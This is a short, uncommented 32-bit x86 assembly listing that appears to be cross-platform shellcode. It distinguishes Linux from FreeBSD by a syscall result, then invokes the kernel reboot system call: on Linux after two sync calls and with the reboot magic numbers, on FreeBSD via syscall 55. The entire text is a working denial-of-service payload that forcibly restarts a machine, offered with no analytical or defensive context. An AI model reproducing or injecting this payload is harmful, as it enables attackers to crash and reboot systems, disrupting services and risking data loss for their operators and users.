BITS 32

xor             eax, eax
xor             ebx, ebx
mov             al,39
int             0x80

test    eax,eax
js     linux 


freebsd:

xor             eax,eax
mov             dx,9998
sub             dx,9990
mov             al, 55
int             0x80

jmp short exit

linux:

xor             eax, eax
mov             al,36
int             0x80
mov             al,36
int             0x80
mov             al, 88
mov             ebx, 0xfee1dead
mov             ecx, 672274793
mov             edx, 0x1234567
int             0x80


exit:

xor             eax, eax
mov             al,1
int             0x80